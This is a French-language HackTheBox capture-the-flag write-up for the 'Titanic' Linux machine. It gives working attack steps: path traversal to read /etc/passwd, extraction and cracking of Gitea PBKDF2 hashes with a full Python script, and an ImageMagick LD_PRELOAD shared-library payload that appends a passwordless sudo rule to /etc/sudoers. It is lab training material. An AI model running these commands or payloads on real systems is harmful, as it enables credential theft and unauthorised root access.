> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/titanic-hackthebox-writeup.md). # Compte rendu HackTheBox de Titanic {% embed url="" %} {% hint style="warning" %} **Compétences :** * **Inclusion de fichiers locaux (LFI)** * **Extraction de la base de données Gitea** * **Exploit ImageMagick (élévation de privilèges)** {% endhint %} ## Reconnaissance **Configuration de l'espace de travail :** Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

**Vérification de la connectivité VPN** Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

**Découverte des ports ouverts avec Nmap :** Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap : ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.55 -oG allPorts ```

**Analyse des ports ouverts avec extractPorts :** Utilisez la fonction extractPorts pour afficher les ports ouverts dans un format concis et les copier dans le presse-papiers (22.80) ```bash nmap -sCV -p22,80 10.10.11.55 -oN targeted ```

Nous ajoutons ensuite l’IP à notre `/etc/hosts` fichier :

### Analyse du port 80 (HTTP) ####

### Analyse du port 80 (HTTP) #### Détection de la technologie Avec `wappalyzer`, nous identifions que le site utilise **Flask et Python**

## Inclusion de fichiers locaux (LFI)

Le site propose une option pour commander un voyage, qui renvoie un fichier JSON.

En interceptant la requête avec **Burp Suite**, nous remarquons un `téléchargement` paramètre qui permet d’accéder aux fichiers :

```bash /download?ticket=9bff28d2-2f3a-4e5d-8879-576eb1dadf8b.json ``` Nous testons une inclusion de fichier : ``` /download?ticket=/etc/passwd ```

Avec `curl`: ``` curl -s --path-as-is http://titanic.htb/download?ticket=/etc/passwd ``` Nous récupérons les utilisateurs du système, y compris **developer**.

### Fuzzing de sous-domaines Nous recherchons des sous-domaines avec **Gobuster**: ```bash gobuster vhost -u http://titanic.htb/ --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 -r ```

Nous découvrons **dev.titanic.htb**, que nous ajoutons à `/etc/hosts`.

## Exploitation de Gitea Sur la **dev** sous-domaine, nous trouvons une **Gitea** instance.

#### Création d’un utilisateur

Nous trouvons un mot de passe stocké en clair (base de données) :

En explorant la base de données SQLite de Gitea, nous trouvons son chemin :

`/home/developer/gitea/data/gitea/gitea.db`

On s'y connecte : ```sql sqlite3 gitea.db .tables ```

Puis, nous extrayons les hachages de mots de passe : ```sql SELECT lower_name, passwd, salt FROM user; ```

### Attaque par force brute d’un hachage salé #### Hachage : ``` e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|8bf3e3452b78544f8bee9400d6936d34 ``` #### Sel : ``` b8dc26d526439f6f2f4523fa8ea522a2 ``` Nous utilisons un script Python pour casser le hachage : ```python import hashlib import binascii def pbkdf2_hash(password, salt, iterations=50000, dklen=50): hash_value = hashlib.pbkdf2_hmac( 'sha256', password.encode('utf-8'), salt, iterations, dklen ) return hash_value def find_matching_password(dictionary_file, target_hash, salt, iterations=50000, dklen=50): target_hash_bytes = binascii.unhexlify(target_hash) with open(dictionary_file, 'r', encoding='utf-8') as file: count = 0 for line in file: password = line.strip() hash_value = pbkdf2_hash(password, salt, iterations, dklen) count += 1 print(f"Nombre : {count} : {password}") if hash_value == target_hash_bytes: print(f"/nMot de passe trouvé : {password}") return password print("Mot de passe non trouvé.") return None salt = binascii.unhexlify('8bf3e3452b78544f8bee9400d6936d34') target_hash = 'e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56' dictionary_file = '/usr/share/wordlists/rockyou.txt' find_matching_password(dictionary_file, target_hash, salt) ``` #### - Le mot de passe trouvé est **25282528**.

On se connecte en SSH : ```bash ssh developer@ticanic.htb ```

### Drapeau user.txt :)

## Élévation de privilèges ### Tâche cron - Exploitation d'ImageMagick Dans `/opt/`, nous trouvons un script `script.sh` exécuté automatiquement

```bash cd /opt/app/static/assets/images truncate -s 0 metadata.log find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log ``` > Ce script shell se déplace d’abord vers le `/opt/app/static/assets/images` dossier, puis il vide le fichier `metadata.log` s’il existe. Ensuite, il recherche tous les `.jpg` fichiers dans ce répertoire et utilise la commande `identify` d’ImageMagick pour extraire leurs métadonnées (taille, format, profondeur de couleur, etc.). Ces informations sont ensuite enregistrées dans `metadata.log`. Ainsi, ce script permet de générer un fichier de métadonnées à jour pour toutes les images JPG présentes dans le dossier spécifié. Le script utilise **ImageMagick**, une version vulnérable. ```bash magicks --version ```

### Exploitation via `LD_PRELOAD` Nous créons un `a.c` fichier : ```c #include #include #include #include void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("echo 'developer ALL=(ALL) NOPASSWD:ALL' | sudo tee -a /etc/sudoers"); } ``` Compilation : ```bash gcc -fPIC -shared -o ./libxcb.so.1 a.c -nostartfiles ```

Nous l’ajoutons au répertoire surveillé et exécutable par `ImageMagick`. Puis, nous exécutons : ```bash su root ```

### Drapeau root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/titanic-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.